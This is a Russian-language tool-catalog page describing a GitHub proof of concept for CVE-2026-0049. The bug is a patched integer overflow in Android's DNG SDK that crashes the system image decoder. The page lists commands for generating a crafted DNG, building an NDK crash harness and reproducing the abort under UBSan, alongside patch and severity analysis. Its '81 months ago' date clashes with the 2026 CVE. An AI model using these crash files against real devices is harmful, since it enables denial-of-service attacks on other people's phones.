Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0049 — PoC и анализ zero-click DoS-атаки в Android DNG SDK, включая специально подготовленные образцы DNG, краш-харнесс на базе NDK и воспроизведение переполнения MapTable с помощью UBSan/IntSan. | Kitploit
Инструменты/GitHubGitHub/r3n3r0/cve-2026-0049
Безопасность AndroidГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и Образование
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC и анализ zero-click DoS-атаки в Android DNG SDK, включая специально подготовленные образцы DNG, краш-харнесс на базе NDK и воспроизведение переполнения MapTable с помощью UBSan/IntSan.

Репозиторий
81 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0049 — Android DNG zero-click DoS (dng_sdk MapTable add-overflow)

Полный исследовательский материал и PoC. Повествовательный анализ: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • Баг: переполнение беззнаковых целых в fAreaSpec.Plane() + fAreaSpec.Planes() в dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • Воздействие: DoS zero-click. IntSan, с которым Android компилирует libdng_sdk.so, превращает переполнение в abort() → SIGABRT в процессе, декодирующем DNG.
  • Это не RCE (двойная проверка границ в цикле → нет OOB). См. §12 в BLOG.md.
  • Серьёзность: Google (в бюллетене) объявляет её Critical; NVD/CISA — Medium (CVSS 6.2) — две разные таксономии для одного и того же CVE (§13).
  • Исправление: Android Security Bulletin, апрель 2026 (патч 2026-04-01, A-456471290). Два патча: арифметическая коррекция в dng_sdk (+ переписан как -) + MIME-allowlist в LocalImageResolver.java, который отклоняет DNG (§14).

В статье также подробно описываются: полный путь генерации PoC (§6), почему использовался NDK-harness (§7), разница между флагами UBSan/IntSan -fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime (§10), а также IntSan vs SafeInt vs MTE (§11).

Структура

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

Быстрое воспроизведение

A) Вредоносный DNG

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

Критическая деталь: AreaSpec должна быть непустой (0,0,H,W); при пустой области dng_sdk от Android выполняет короткое замыкание, и декодирование возвращает ошибку без краха (см. §6.6 в BLOG.md). Почему нужен полностью валидный DNG, а не минимальный: SkRawCodec (системный декодер) строже, чем Glide/Photos, и отвергает DNG без полных цветовых метаданных (§2, §6.1).

B) Краш на устройстве (NDK-harness)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) Воспроизведение на ПК (без телефона) с dng_validate + UBSan

Скомпилируйте исходники dng_sdk, применив -fsanitize=integer -fno-sanitize-recover только к dng_misc_opcodes.cpp (используйте harness/dng_xmp_stub.cpp для линковки без XMP SDK). Затем:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

Только для исследований/обучения. Протестировано исключительно на собственном оборудовании.

Скачать инструмент